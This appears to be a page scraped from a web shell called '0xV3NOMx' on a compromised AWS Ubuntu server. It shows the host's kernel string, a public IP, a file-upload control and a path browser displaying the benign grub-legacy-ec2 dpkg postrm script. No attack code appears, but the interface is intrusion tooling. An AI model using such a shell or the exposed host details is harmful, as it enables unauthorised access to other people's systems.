0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.35.234


Current Path : /proc/thread-self/root/var/lib/dpkg/info/
Upload File :
Current File : //proc/thread-self/root/var/lib/dpkg/info/grub-legacy-ec2.postrm

#!/bin/sh
set -e

if [ "$1" = purge ]; then
   if [ -x "`which ucf 2>/dev/null`" ]; then
      ucf --purge /var/run/grub/menu.lst
   fi
   if [ -x "`which ucfr 2>/dev/null`" ]; then
      ucfr --purge grub /var/run/grub/menu.lst
   fi
fi

if [ "$1" = "remove" ]; then
   dpkg-divert --package grub-legacy-ec2 --remove --rename --divert \
      /usr/sbin/grub-set-default.real /usr/sbin/grub-set-default
fi
# Automatically added by dh_installdebconf/11.1.4ubuntu1
if [ "$1" = purge ] && [ -e /usr/share/debconf/confmodule ]; then
	. /usr/share/debconf/confmodule
	db_purge
fi
# End automatically added section